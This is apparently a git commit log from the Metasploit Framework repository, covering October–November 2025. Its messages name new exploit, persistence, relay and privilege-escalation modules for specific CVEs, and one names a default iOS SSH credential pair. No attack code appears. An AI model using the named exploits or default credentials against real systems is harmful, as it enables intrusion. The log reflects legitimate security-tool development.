jenkins-metasploit 8f19fe532b automatic module_metadata_base.json update 2025-11-19 23:23:59 +00:00
adfoster-r7 dff3e3f4a7 Merge pull request #20694 from cgranleese-r7/add-rubocop-detect-cmd-exec
Adds Rubocop rule to detect calls to old cmd_exec API
2025-11-19 23:14:21 +00:00
h00die 9ff3f94bc9 review comments for wsl persistence 2025-11-19 17:37:55 -05:00
adfoster-r7 b0ce58d631 Update URL in specs 2025-11-19 22:24:15 +00:00
Spencer McIntyre ebc70000ce Support auto authentication for MSSQL 2025-11-19 17:11:34 -05:00
Valentin Lobstein 9624f75617 Simplify code formatting: shorten lines and improve readability 2025-11-19 23:05:01 +01:00
Valentin Lobstein 3102b31767 Move FETCH_COMMAND WGET to Unix/Linux target DefaultOptions only 2025-11-19 22:59:22 +01:00
Valentin Lobstein 6ab2452153 Fix documentation inconsistency: update ports for Flowise 3.0.1 (3005) and add Basic Auth service example 2025-11-19 22:58:27 +01:00
Valentin Lobstein 8fbbc3e043 Update flowise_custommcp_rce documentation: add Basic Auth testing scenario 2025-11-19 22:24:28 +01:00
Valentin Lobstein 44cf2e309f Add Flowise RCE exploits (CVE-2025-59528, CVE-2025-8943) with shared mixin, documentation, and Docker Compose setup 2025-11-19 22:12:49 +01:00
Zedeldi 8d28ce611a Revert to cmd_exec for modify_service and improve code style 2025-11-19 20:33:46 +00:00
Zedeldi bc2c397b8c Add check for root access to igel_persistence 2025-11-19 20:01:57 +00:00
remmons-r7 25d87fc2c5 Delete accidental extra Ruby file commit 2025-11-19 14:19:05 -05:00
remmons-r7 7aff5f333b Delete an accidental documentation commit 2025-11-19 14:18:25 -05:00
Valentin Lobstein df1c157471 Improve Flowise CustomMCP RCE exploit stability with Basic Auth support and HTTP response validation 2025-11-19 20:12:31 +01:00
remmons-r7 9e057ae1b7 Create twonky_authbypass_logleak.rb 2025-11-19 14:09:38 -05:00
remmons-r7 252023222b Create twonky_authbypass_logleak.md 2025-11-19 14:06:52 -05:00
Valentin Lobstein f991bd58a4 Update modules/exploits/multi/http/flowise_custommcp_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-11-19 19:57:48 +01:00
Valentin Lobstein 7ba143452c Change checkcode
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-11-19 19:57:03 +01:00
Valentin Lobstein 8178313a46 Delete SSL param
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-11-19 19:56:43 +01:00
Valentin Lobstein a187b9824e Remove CVE ID from title
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-11-19 19:56:23 +01:00
remmons-r7 5b55bdaaaf Merge branch 'rapid7:master' into master 2025-11-19 13:56:13 -05:00
Zack Didcott beed317573 Use create_process instead of cmd_exec
Co-authored-by: Brendan <bwatters@rapid7.com>
2025-11-19 18:02:08 +00:00
Zack Didcott 22aead0db1 Use vprint_status for modify_service and restart_service
Co-authored-by: Brendan <bwatters@rapid7.com>
2025-11-19 18:01:05 +00:00
Christophe De La Fuente bdef9a6b46 Fix msfdb startup 2025-11-19 18:50:26 +01:00
Christophe De La Fuente 179a545312 Remove false positive references 2025-11-19 17:34:15 +01:00
cgranleese-r7 d64625d95f Adds post mixin docs and update cop message 2025-11-19 16:28:07 +00:00
Martin Sutovsky 554c952d06 Adds payload name escaping 2025-11-19 15:58:30 +01:00
msutovsky-r7 d8b544b1ab Land #20707, adds note "CAP_SYS_BOOT privileges are required" to Linux Reboot payloads
Add note "CAP_SYS_BOOT privileges are required" to Linux Reboot payloads
2025-11-19 12:10:03 +01:00
bcoles c77c138117 Add note "CAP_SYS_BOOT privileges are required" to Linux Reboot payloads 2025-11-19 21:39:44 +11:00
Martin Sutovsky 6957f73bf5 Adds architecture match check 2025-11-19 08:12:30 +01:00
h00die 58f29548b3 review for windows/persistence/wsl/registry 2025-11-18 18:50:07 -05:00
Valentin Lobstein b26c4f5c7b Add Flowise Custom MCP RCE exploit (CVE-2025-8943) 2025-11-18 22:25:39 +01:00
Valentin Lobstein 88aadcc856 Add Flowise Custom MCP RCE exploit (CVE-2025-8943) 2025-11-18 22:03:59 +01:00
jenkins-metasploit 3576e2bcef automatic module_metadata_base.json update 2025-11-18 15:59:02 +00:00
Brendan 069de9fbf8 Merge pull request #20638 from h00die/windows_service_persistence
update windows service to persistence mixin
2025-11-18 09:49:06 -06:00
Martin Sutovsky e99c1f648d Expands fix for all HTTP-based login scanners 2025-11-18 16:42:59 +01:00
h00die 3209fdc937 remove old file 2025-11-17 19:03:55 -05:00
h00die 7c8fbd1672 rework windows service persistence 2025-11-17 19:02:54 -05:00
h00die a0222d0783 rework windows service persistence 2025-11-17 19:02:53 -05:00
h00die 1ad89ef1ef rewriting service 2025-11-17 19:02:53 -05:00
h00die 06f5c89bf4 throw this away 2025-11-17 19:02:53 -05:00
h00die 92e1720ad5 fix docs 2025-11-17 19:02:53 -05:00
h00die 8c211b4d4a fix sc commands in windows service persistence 2025-11-17 19:02:53 -05:00
h00die 450e1df340 windows service now with persistence mixin 2025-11-17 19:02:50 -05:00
Zedeldi c6db0d4285 Move IGEL OS persistence module to linux/persistence 2025-11-17 18:42:28 +00:00
Zedeldi 796d941354 Code formatting changes 2025-11-17 16:38:13 +00:00
Zedeldi c37f7872a3 Add documentation for IGEL OS modules 2025-11-17 16:33:15 +00:00
Zedeldi 1436803783 Strip first line and quotes 2025-11-17 16:33:00 +00:00
jheysel-r7 8e642d4376 Merge pull request #20689 from zeroSteiner/feat/mod/socket-channel-tests
Add socket channel tests
2025-11-17 08:32:14 -08:00
jenkins-metasploit 8062673bfc automatic module_metadata_base.json update 2025-11-17 15:19:06 +00:00
Zedeldi f29505d0d0 Add IGEL OS modules 2025-11-17 15:18:09 +00:00
Brendan c3f221e2f2 Merge pull request #20699 from sfewer-r7/fortiweb-exploit-cve
Update auxiliary/admin/http/fortinet_fortiweb_create_admin with CVE ID and advisory URL
2025-11-17 09:08:47 -06:00
Martin Sutovsky 8285b433cb Addresses comments 2025-11-17 11:04:28 +01:00
Martin Sutovsky 0e26719cf2 Adds dll_exitprocess 2025-11-17 09:24:09 +01:00
h00die e3560e43cf windows wsl registry persistence 2025-11-16 08:35:44 -05:00
Spencer McIntyre f2a05ad295 Run them tests 2025-11-14 16:18:47 -05:00
Spencer McIntyre 3497f70692 Fix a UDP binding error and support LHOST/RHOST 2025-11-14 15:54:30 -05:00
sfewer-r7 c1ff36668c disclosure date 2025-11-14 17:06:30 +00:00
sfewer-r7 b1327361e9 add in new CVE ID and vendor advisory 2025-11-14 17:04:33 +00:00
jenkins-metasploit 3aba23186c automatic module_metadata_base.json update 2025-11-14 15:42:34 +00:00
Brendan 9dcea0c20d Merge pull request #20698 from sfewer-r7/fortiweb-exploit
Add an aux module for the recent FortiWeb exploit (No CVE assigned yet)
2025-11-14 09:32:03 -06:00
jenkins-metasploit 4cd70a4d15 automatic module_metadata_base.json update 2025-11-14 13:49:09 +00:00
Spencer McIntyre 79145b5c50 Add a test module for UDP and TCP channels 2025-11-14 08:45:22 -05:00
Spencer McIntyre c000e9cfa5 Merge pull request #20687 from dwelch-r7/winrm-error-handling-improvements
Add error handling for winrm login issues
2025-11-14 08:39:26 -05:00
Dean Welch 771856ac6b Use print_brute over print_warning 2025-11-14 13:22:54 +00:00
sfewer-r7 06fbe46172 add in aux moduel for recent FortiWeb exploit 2025-11-14 12:02:10 +00:00
jheysel-r7 9cdf7bd9b2 Merge pull request #20695 from zeroSteiner/fix/bump-payloads/2.0.237
Update metasploit-payloads gem to 2.0.237
2025-11-13 09:29:56 -08:00
Spencer McIntyre b1f57b303f Update metasploit-payloads gem to 2.0.237
Includes changes from:
* rapid7/metasploit-payloads#782
* rapid7/metasploit-payloads#781
2025-11-13 12:11:10 -05:00
cgranleese-r7 7722d19ca3 Adds Rubocop rule to detect calls to old cmd_exec API 2025-11-13 16:33:36 +00:00
dledda-r7 362ed421cf fix: commenting klasses pre-loader 2025-11-13 10:53:33 -05:00
dledda-r7 147cf9bc82 fix: include stdapi/stdapi in namespaced extensions 2025-11-13 10:51:04 -05:00
jenkins-metasploit 871ac7db61 Bump version of framework to 6.4.99 2025-11-13 11:14:45 +00:00
jenkins-metasploit 7f95c562ae automatic module_metadata_base.json update 2025-11-12 18:54:53 +00:00
jheysel-r7 90ff800e41 Merge pull request #20669 from stfnw/azure-ad-login-default-message
azure_ad_login: add context to error message
2025-11-12 10:45:32 -08:00
Martin Sutovsky 58eec7d319 Adds docs 2025-11-12 16:28:54 +01:00
dledda-r7 c5fd2650a8 fix: preload extension klasses during bootstrap 2025-11-12 10:07:50 -05:00
jenkins-metasploit 667fd73597 automatic module_metadata_base.json update 2025-11-12 11:50:09 +00:00
Diego Ledda c007d3a89f Merge pull request #20674 from msutovsky-r7/exploit/win/cve-2025-59287
Adds module for unauthenticated deserialization in WSUS (CVE-2025-59287)
2025-11-12 12:40:32 +01:00
Martin Sutovsky e35bd89033 Expands check method 2025-11-12 10:35:23 +01:00
jenkins-metasploit 8648398b11 automatic module_metadata_base.json update 2025-11-11 15:50:51 +00:00
Diego Ledda 29088b4712 Merge pull request #20576 from msutovsky-r7/modules/persistence/linqpad_deserialization
Moves LINQPad module into persistence category
2025-11-11 16:41:12 +01:00
Martin Sutovsky 9058f6676b Removes if condition 2025-11-11 11:22:31 +01:00
Spencer McIntyre b545defca5 Merge pull request #20690 from dbono-r7/patch-1
Update named_pipes.txt
2025-11-10 17:27:58 -05:00
dbono-r7 7aebd592ef Update named_pipes.txt
Added the cert pipe for quick unauthenticated for likely Certificate Authority servers.
2025-11-10 16:00:39 -06:00
Jack Heysel 5fc6af500f Use one regex to match both failures 2025-11-10 12:46:55 -05:00
Martin Sutovsky 6aeb81a499 Adds MITRE reference, updates docs 2025-11-10 18:32:13 +01:00
jheysel-r7 0c6a8c10c5 Merge pull request #20625 from h00die/fix_exploit_docs_options
Update exploit docs to use modern h3 for options instead of original spec (bold)
2025-11-10 08:26:03 -08:00
Jack Heysel 99e35cb591 Keep test, add failure to known failures 2025-11-10 11:12:23 -05:00
Martin Sutovsky fc434414d3 Randomizes XML paramater 2025-11-10 16:54:49 +01:00
cgranleese-r7 0e8fd9c603 Merge pull request #20686 from adfoster-r7/bump-mqtt-dependency
Bump mqtt dependency
2025-11-10 12:20:20 +00:00
Dean Welch 32874d05cf Add error handling for winrm login issues 2025-11-10 12:01:03 +00:00
adfoster-r7 e5597ee57e Bump mqtt dependency 2025-11-10 11:55:10 +00:00
Martin Sutovsky 2cbf32ce40 Adds documentation base 2025-11-10 12:27:13 +01:00
Martin Sutovsky d4283cd17f Adds base for Notepad++ persistence 2025-11-10 10:58:03 +01:00
h00die b646e0e044 docs editing for consistency 2025-11-07 15:42:27 -05:00
h00die fb02ec4554 remove 4 space indents in options 2025-11-07 15:42:27 -05:00
h00die caa2873a14 more adjustments 2025-11-07 15:42:27 -05:00
h00die d8c73f6684 replace bold options with h3 2025-11-07 15:42:23 -05:00
Jack Heysel ea3997978e Remove ldap_esc_vulnerable_cert_finder acceptance test 2025-11-07 15:25:59 -05:00
jenkins-metasploit 47f60e1625 Bump version of framework to 6.4.98 2025-11-06 18:14:52 +00:00
Martin Sutovsky 5ea47e5ac3 Adds formatting to XML data, adds automatic plugin ID extraction 2025-11-06 16:46:58 +01:00
Martin Sutovsky 570c7c0bf4 Changes CheckCode to Detected 2025-11-06 16:21:42 +01:00
Martin Sutovsky b0afe5e24b Randomizes parameters that can be randomized 2025-11-06 15:06:30 +01:00
Martin Sutovsky 904e752662 Code refactor 2025-11-06 14:52:49 +01:00
Martin Sutovsky cb0011649c Adds SCREEN_EFFECTS to SideEffects 2025-11-06 14:50:31 +01:00
Martin Sutovsky f586fff090 Adds clear message if exploit fails 2025-11-06 14:46:02 +01:00
jenkins-metasploit 1d19c37c62 automatic module_metadata_base.json update 2025-11-05 15:39:36 +00:00
Diego Ledda 110cb837aa Merge pull request #20672 from h00die-gr3y/centreon_auth_rce
Centreon authenticated command injection leading to RCE via broker engine "reload" parameter [CVE-2025-5946]
2025-11-05 16:29:29 +01:00
h00die-gr3y 34c424f473 update based on dledda-r7 comments 2025-11-05 09:20:13 +00:00
Brendan b70d9c074a Merge pull request #20673 from adfoster-r7/pin-date-dependency
Pin date dependency
2025-11-04 12:29:56 -06:00
Martin Sutovsky 5ad76f82d1 Adds more docs, adds description 2025-11-04 13:49:43 +01:00
Martin Sutovsky f195ebd453 Code refactor 2025-11-04 13:36:33 +01:00
Martin Sutovsky 98467f3a21 Adds msf payload to module, adds docs 2025-11-04 12:28:03 +01:00
Martin Sutovsky e885da1f0b Add rce for wsus 2025-11-03 20:47:28 +01:00
adfoster-r7 57a3590a94 Pin date dependency 2025-11-03 17:30:47 +00:00
h00die-gr3y 61dfc293d9 update based on dledda-r7 comments 2025-11-03 14:37:23 +00:00
Martin Sutovsky 96edf7bad4 Updates 2025-11-03 14:25:39 +01:00
h00die-gr3y 408eceb2d9 small update documentation 2025-11-03 10:27:44 +00:00
h00die-gr3y 85b4233345 updated module based on review comments and added documentation 2025-11-03 10:21:31 +00:00
h00die-gr3y 83e7fc2667 update attackerkb reference 2025-11-02 18:26:34 +00:00
h00die-gr3y e01456bcf4 init commit module 2025-11-02 17:45:22 +00:00
Stefan Walter 00661fa43a azure_ad_login: add context to error message
Include domain and username in the default/catch-all error message,
so that this information is not lost.
2025-11-01 13:19:01 +01:00
jenkins-metasploit 1c4e3d59ee automatic module_metadata_base.json update 2025-10-31 11:38:37 +00:00
Diego Ledda 13dc61e2e8 Merge pull request #20523 from h00die/modern_persistence_upstart
update upstart to persistence mixin
2025-10-31 12:28:59 +01:00
jenkins-metasploit ad0f984f4c automatic module_metadata_base.json update 2025-10-31 09:26:00 +00:00
msutovsky-r7 af5baeb3c6 Land #20660, adds windows task scheduler persistence module
Windows task scheduler persistence
2025-10-31 10:16:19 +01:00
jenkins-metasploit 54a1810273 automatic module_metadata_base.json update 2025-10-31 09:09:45 +00:00
msutovsky-r7 c804e5fb55 Land #20643, expands diamorphine privilege escalation module to other rootkits
Add Rootkit Privilege Escalation Signal Hunter
2025-10-31 10:00:21 +01:00
bcoles 676a2ed4b1 Add Rootkit Privilege Escalation Signal Hunter 2025-10-31 17:22:19 +11:00
jenkins-metasploit 7098e47626 Bump version of framework to 6.4.97 2025-10-30 16:37:30 +00:00
jenkins-metasploit fc7040bb1b automatic module_metadata_base.json update 2025-10-30 07:38:51 +00:00
msutovsky-r7 09f1d1ae57 Land #20650, adds module for NCR Command Center Agent unauthenticated RCE (CVE-2021-3122)
Add NCR Command Center Agent Unauthenticated RCE (CVE-2021-3122)
2025-10-30 08:26:42 +01:00
Martin Sutovsky 666e63f993 Rubocopes module 2025-10-30 07:43:32 +01:00
Martin Sutovsky ee3058bf92 Removes moved_from 2025-10-29 15:14:29 +01:00
jenkins-metasploit 90408517f1 automatic module_metadata_base.json update 2025-10-29 12:50:37 +00:00
Spencer McIntyre ca2f3ab3a6 Merge pull request #20648 from bcoles/cydia_default_ssh
exploit/apple_ios/ssh/cydia_default_ssh: Add mobile:alpine creds
2025-10-29 08:42:15 -04:00
jenkins-metasploit a9c91baf6f automatic module_metadata_base.json update 2025-10-29 12:32:11 +00:00
msutovsky-r7 56480df99f Land #20662, adds windows startup folder persistence module
windows persistence: startup folder
2025-10-29 13:23:35 +01:00
h00die 34b630736a Merge remote-tracking branch 'origin/windows_taskscheduler_persistence' into windows_taskscheduler_persistence 2025-10-29 05:22:55 -04:00
h00die f03b32551a Update modules/exploits/windows/persistence/task_scheduler.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-10-29 05:22:28 -04:00
h00die b48215d9c1 Merge remote-tracking branch 'origin/windows_taskscheduler_persistence' into windows_taskscheduler_persistence 2025-10-29 05:21:45 -04:00
h00die 35f632bc85 windows persistence: task scheduler review 2025-10-29 05:20:57 -04:00
h00die 85fa7e0391 windows persistence: startup folder review 2025-10-29 05:18:20 -04:00
Martin Sutovsky b167a2bc7d Adds moved_from clause 2025-10-29 07:58:50 +01:00
Martin Sutovsky 44c3d9b5db Fixes documentation, removes unused parameters, code cleanup 2025-10-29 07:58:47 +01:00
msutovsky-r7 65f764e8bc Corrects CheckCode from Vulnerable to Appears
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-10-29 07:57:20 +01:00
Martin Sutovsky 5bf842c15e Moves module to persistence category, docs reformat 2025-10-29 07:57:19 +01:00
Martin Sutovsky 547b318848 Moves linqpad deserialization to persistence category 2025-10-29 07:56:49 +01:00
Muhammad Daffa b98e66b744 Minor changes, code review from @msutovsky-r7 2025-10-29 13:18:17 +07:00
h00die fd6d84df0f Update modules/exploits/windows/persistence/task_scheduler.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-10-27 19:51:32 -04:00
h00die c0b3f40b3e upstart review 2025-10-27 19:45:38 -04:00
h00die fd04f465eb windows persistence: startup folder 2025-10-27 15:35:52 -04:00
jenkins-metasploit 8dd2724977 automatic module_metadata_base.json update 2025-10-27 14:06:20 +00:00
msutovsky-r7 d839a84a12 Land #20631, moves windows registry module into persistence category
update windows registry to persistence mixin
2025-10-27 14:57:48 +01:00
Muhammad Daffa 1b53604852 Code review changes from @msutovsky-r7 2025-10-27 17:19:11 +07:00
jenkins-metasploit 086fad626b automatic module_metadata_base.json update 2025-10-27 07:28:31 +00:00
bcoles c6d58d1b57 Land #20661, Add aarch64 payload support to gitea_git_fetch_rce module 2025-10-27 18:18:26 +11:00
Michael MacFadden b481b9ef7b gitea_git_fetch_rce aarch64 payload support
Add support for the Linux Dropper to use payloads targeted to ARCH_AARCH64
2025-10-26 19:19:11 -05:00
h00die 4fdce5e510 windows persistence: task scheduler 2025-10-26 16:26:32 -04:00
h00die c210a897ac windows persistence: task scheduler 2025-10-26 16:17:16 -04:00
jenkins-metasploit 8528cb255a automatic module_metadata_base.json update 2025-10-24 16:27:34 +00:00
Brendan d1c9410a95 Merge pull request #20594 from HamzaSahin61/feat/redoc-exposed-scanner
auxiliary(scanner/http/redoc_exposed): detect exposed ReDoc API docs UI
2025-10-24 11:19:13 -05:00
jenkins-metasploit 5d73d8a2c7 Bump version of framework to 6.4.96 2025-10-24 14:56:49 +00:00
adfoster-r7 52308d0df6 Merge pull request #20655 from adfoster-r7/fix-meterpreter-migration-crash
Fix Meterpreter migration crash
2025-10-24 14:39:21 +01:00
jenkins-metasploit c4dd66723f automatic module_metadata_base.json update 2025-10-24 13:38:10 +00:00
msutovsky-r7 d8357ce329 Land #20564, adds persistence suggester module
persistence suggester
2025-10-24 15:29:54 +02:00
adfoster-r7 a984e15cb6 Fix Meterpreter migration crash 2025-10-24 14:07:59 +01:00
adfoster-r7 4dd245a60e Merge pull request #20639 from adfoster-r7/fix-oracle-login-crash
Fix oracle login crash
2025-10-24 14:06:59 +01:00
adfoster-r7 a5dd6c37ff Merge pull request #20654 from molecula2788/msf_session_bootstrap_fix
lib/msf/base/sessions/meterpreter.rb: Use &. across the entire chain when handling datastore['AutoLoadExtensions']
2025-10-24 13:43:04 +01:00
Adrian Șendroiu c2ce203281 lib/msf/base/sessions/meterpreter.rb: Use &. across the entire chain when handling datastore['AutoLoadExtensions'] 2025-10-24 14:30:56 +03:00
dwelch-r7 1ee88e1a7a Merge pull request #20651 from adfoster-r7/pin-rexml-to-avoid-winrm-warnings
Pin rexml to avoid winrm warnings
2025-10-24 11:14:53 +01:00
dwelch-r7 7303e78f4a Merge pull request #20652 from adfoster-r7/fix-ssh-login-crash-for-pro
Fix ssh login crash for pro
2025-10-24 11:14:07 +01:00
adfoster-r7 25772a5a64 Fix ssh login crash for pro 2025-10-24 10:31:27 +01:00
adfoster-r7 8d35eb975d Pin rexml to avoid winrm warnings 2025-10-24 10:29:00 +01:00
Muhammad Daffa b059a61d1b Add ncr_cmcagent_rce module 2025-10-24 16:17:14 +07:00
Muhammad Daffa af2b2cc40f Add documentation for NCR Command Center Agent RCE 2025-10-24 16:15:11 +07:00
bcoles 33462bf233 exploit/apple_ios/ssh/cydia_default_ssh: Add mobile:alpine creds 2025-10-24 18:02:35 +11:00
bcoles 52b7f1ff25 Deprecate exploit/linux/local/diamorphine_rootkit_signal_priv_esc 2025-10-24 17:05:10 +11:00
h00die 0f26c9316a registry persistence peer review 2025-10-23 17:44:22 -04:00
Spencer McIntyre 100ac4b973 Remove unneeded code 2025-10-23 13:05:36 -04:00
jenkins-metasploit 909d872cf6 automatic module_metadata_base.json update 2025-10-23 16:52:30 +00:00
jheysel-r7 4bc06606ff Merge pull request #20640 from msutovsky-r7/fix/ldap/cert_finder/register_values
Adds safe navigator in ldap_esc_vulnerable_cert_finder
2025-10-23 09:44:17 -07:00
adfoster-r7 52f2094ccb Merge pull request #20641 from rapid7/smcintyre-r7-patch-1
Update contact emails in CODE_OF_CONDUCT.md
2025-10-23 15:01:47 +01:00
Spencer McIntyre c41c0c882b Update contact emails in CODE_OF_CONDUCT.md
Updated contact emails for reporting unacceptable behavior.
2025-10-23 09:15:15 -04:00
Martin Sutovsky 3c11db422a Adds safe navigation operator 2025-10-23 14:41:18 +02:00
Martin Sutovsky 51e3a2d0c5 Changes return value from nil to [] in enum_registry_values 2025-10-23 13:53:57 +02:00
adfoster-r7 b2d1095d22 Fix oracle login crash 2025-10-23 10:30:57 +01:00
HamzaSahin61 e17b2a0598 Remove 'How It Works' section from redoc_exposed.md
Removed the 'How It Works' section detailing the probing process for REDOC.
2025-10-23 01:45:38 +03:00
HamzaSahin61 9640152f25 Update redoc_exposed.md 2025-10-23 01:31:09 +03:00
Spencer McIntyre 3ef78ec103 Add docs for the new module 2025-10-22 15:00:44 -04:00
jenkins-metasploit c20dd4a278 automatic module_metadata_base.json update 2025-10-22 12:35:53 +00:00
adfoster-r7 f24552cdfd Merge pull request #20632 from h00die/linqpad_cleanup
Linqpad cleanup
2025-10-22 13:23:32 +01:00
adfoster-r7 1e1355bc7b Merge pull request #20636 from sjanusz-r7/anemone-infinite-recursion-fix
Infinite recursion on error page fix for Anemone
2025-10-22 11:35:19 +01:00
sjanusz-r7 fa6abd6011 Infinite recursion on error page fix for Anemone 2025-10-22 11:15:58 +01:00
jenkins-metasploit 546d17e032 automatic module_metadata_base.json update 2025-10-22 07:36:35 +00:00
msutovsky-r7 e5ee4d5384 Land #20630, adds authenticated RCE module for Vvveb CMS (CVE-2025-8518)
Add Vvveb CMS Authenticated RCE (CVE-2025-8518)
2025-10-22 09:27:59 +02:00
HamzaSahin61 49c1481687 Update redoc_exposed.md 2025-10-22 02:04:27 +03:00
jenkins-metasploit 7a9f24dc29 automatic module_metadata_base.json update 2025-10-21 16:37:11 +00:00
adfoster-r7 306ee8454b Merge pull request #20633 from Chocapikk/typo-freepbx
easy-fix: Fix typo in modules/exploits/unix/http/freepbx_unauth_sqli_to_rce
2025-10-21 17:28:49 +01:00
Maksim Rogov ff73363159 Update modules/exploits/multi/http/vvveb_auth_rce_cve_2025_8518.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-10-21 19:10:16 +03:00
Spencer McIntyre 79b7b54e11 Finish the smb_to_mssql relay module 2025-10-21 11:28:23 -04:00
Spencer McIntyre 67f407275c Initial non-functioning smb-to-mssql module 2025-10-21 11:21:00 -04:00
Spencer McIntyre c2ccac414d Remove the USE_WINDOWS_AUTHENT option
It's redundant with the Mssql::Auth option which is an enum and supports
all the authentication mechanisms. This eliminates the ambiguity between
the meaning and precedence of the options.
2025-10-21 11:20:51 -04:00
Martin Sutovsky 103e3d5044 Module init 2025-10-21 16:48:23 +02:00
vognik 45a87eaaca small fixes 2025-10-20 09:41:48 -07:00
vognik 74c7f98ad9 code review changes from @msutovsky-r7 2025-10-20 09:00:24 -07:00
Valentin Lobstein 97b58f9372 easy-fix: Fix typo in modules/exploits/unix/http/freepbx_unauth_sqli_to_rce 2025-10-20 14:29:19 +02:00
h00die 8490ce844d linqpad persistence cleanup 2025-10-19 10:08:33 -04:00
h00die ef9300870a linqpad persistence cleanup 2025-10-19 10:05:48 -04:00
h00die 287cba7436 linqpad persistence cleanup 2025-10-19 10:05:36 -04:00
h00die 2575a9ad03 windows registry persistence doc update 2025-10-19 09:45:06 -04:00
h00die bc9bd4b62c windows registry persistence mixin conversion 2025-10-19 09:36:59 -04:00
vognik 9ad83f6454 Add Vvveb CMS Authenticated RCE (CVE-2025-8518) 2025-10-18 17:12:05 -07:00
adfoster-r7 52f07b6820 Merge pull request #20627 from h00die/fix_post_docs_options
Update post docs to use modern h3 for options instead of original spec (bold)
2025-10-17 21:09:59 +01:00
adfoster-r7 664c9559d1 Merge pull request #20629 from h00die/no_4_space_options
Clean up 2 aux docs
2025-10-17 21:06:31 +01:00
h00die c86aefa328 remove 4 space indents in options 2025-10-16 19:34:39 -04:00
h00die 976c208414 remove 4 space indents in options 2025-10-16 19:31:50 -04:00
Spencer McIntyre dcb28f50a1 Clean up redundant output 2025-10-16 16:29:19 -04:00
Spencer McIntyre 7bfa17eb24 Update the kerberos login method too 2025-10-16 16:29:19 -04:00
Spencer McIntyre edf7325c68 Add tests for MsTdsLogin7 2025-10-16 16:29:19 -04:00
Spencer McIntyre e8c3200628 Add tests for MsTdsHeader 2025-10-16 16:29:19 -04:00
Spencer McIntyre 6f5ff3c7da Add tests for MsTdsLogin7Password 2025-10-16 16:29:19 -04:00
Spencer McIntyre 1cc412d95b Use the new Login7 for plain SQL login too 2025-10-16 16:29:19 -04:00
Spencer McIntyre 609537d845 Finish the Login7 definition 2025-10-16 16:29:19 -04:00
Spencer McIntyre 581b938772 Add some MsTds definitions 2025-10-16 16:29:19 -04:00
Spencer McIntyre 0996cee71d Refactor the login method to make it smaller 2025-10-16 16:29:19 -04:00
jheysel-r7 2d5f10d965 Merge pull request #20626 from h00die/fix_payload_docs_options
Update payload docs to use modern h3 for options instead of original spec (bold)
2025-10-16 08:42:07 -07:00
jenkins-metasploit a059f239c9 automatic module_metadata_base.json update 2025-10-16 14:48:42 +00:00
Diego Ledda 644bcfabbb Merge pull request #20522 from h00die/modern_persistence_sysvinit
update systemvinit to persistence mixin
2025-10-16 16:35:16 +02:00
jenkins-metasploit 5c3b9480bb Bump version of framework to 6.4.95 2025-10-16 11:06:34 +00:00
jenkins-metasploit f271212ab0 Bump version of framework to 6.4.94 2025-10-16 09:42:01 +00:00
h00die 40f3d4b72e fix doc options bold to h3 2025-10-15 16:38:17 -04:00
h00die 6cc4465f6f fix doc options bold to h3 2025-10-15 16:28:24 -04:00
jenkins-metasploit bb9f3b46de automatic module_metadata_base.json update 2025-10-15 17:32:08 +00:00
jheysel-r7 677af06c9f Merge pull request #20621 from h00die/modern_periodic_script
update periodic_script to persistence mixin
2025-10-15 10:23:56 -07:00
adfoster-r7 aa34a0e016 Merge pull request #20622 from h00die/fix_doc_options
Update aux docs to use modern h3 for options instead of original spec (bold)
2025-10-15 17:47:52 +01:00
adfoster-r7 1549f9cae5 Merge pull request #20623 from bcoles/spec-module-validation
spec: ModuleValidation: Validate module DefaultTarget value
2025-10-15 13:22:56 +01:00
bcoles daf280ad11 spec: ModuleValidation: Validate module DefaultTarget value 2025-10-15 19:58:25 +11:00
h00die c629dc408c replace some bolds 2025-10-14 20:44:00 -04:00
h00die 1f479ddedc update doc options to h3 from bold 2025-10-14 20:23:50 -04:00
h00die 55583bd2c8 review for sysv persistence 2025-10-14 19:30:06 -04:00
Christophe De La Fuente 3b727fbaf2 Code review 2025-10-14 16:25:43 +02:00
Christophe De La Fuente 0a755ea03a Add references to MITRE ATT&CK T1021 - Remote Services 2025-10-14 16:25:30 +02:00
h00die 68c74e1bcf remove unnecessary writabledir variable and check 2025-10-13 19:54:05 -04:00
h00die f3219668e0 remove unnedcessary sudo 2025-10-13 17:48:02 -04:00
h00die 1e9dd04505 update periodic_script to new persistence mechanism 2025-10-13 17:48:00 -04:00
h00die 7a8189f976 additional check 2025-10-13 14:07:18 -04:00
h00die c0b09693e3 systemv updated with mixin udpates 2025-10-13 13:42:41 -04:00
h00die 1a13d39a4d use attck ref in sysvinit persistence module 2025-10-13 13:42:41 -04:00
h00die 058e858e82 update systemvinit to persistence mixin 2025-10-13 13:42:41 -04:00
jenkins-metasploit 6f461098cc automatic module_metadata_base.json update 2025-10-13 17:01:56 +00:00
adfoster-r7 fcb469bf66 Merge pull request #20611 from bcoles/periodic_script_persistence
exploit/multi/local/periodic_script_persistence: Unset DefaultTarget
2025-10-13 17:50:57 +01:00
adfoster-r7 475b294ff9 Merge pull request #20620 from adfoster-r7/pin-rack-dependencies
Pin rack dependencies
2025-10-13 17:49:42 +01:00
adfoster-r7 8672c52d95 Merge pull request #20619 from adfoster-r7/future-proof-peinject-method-override
Future proof peinject method override
2025-10-13 16:24:57 +01:00
adfoster-r7 3532254691 Pin rack dependencies 2025-10-13 16:03:28 +01:00
adfoster-r7 edd536b3bf Future proof peinject method override 2025-10-13 15:22:05 +01:00
bcoles 93b3ec34ac exploit/multi/local/periodic_script_persistence: Unset DefaultTarget 2025-10-11 21:47:11 +11:00
adfoster-r7 55bb27711d Merge pull request #20608 from molecula2788/peinject_valid_fix
Add missing datastore argument in the `valid?` function in pe_inject.rb
2025-10-10 19:18:36 +01:00
Adrian Șendroiu 7d5ad67ad6 pe_inject.rb: Add missing datastore argument 2025-10-10 13:24:50 +03:00
HamzaSahin61 bbd2767fe1 Update redoc_exposed.md 2025-10-10 00:10:38 +03:00
HamzaSahin61 33244f66f0 style: rubocop auto-corrections + add Notes metadata 2025-10-09 23:41:11 +03:00
jenkins-metasploit 67ff15edeb automatic module_metadata_base.json update 2025-10-09 18:59:02 +00:00
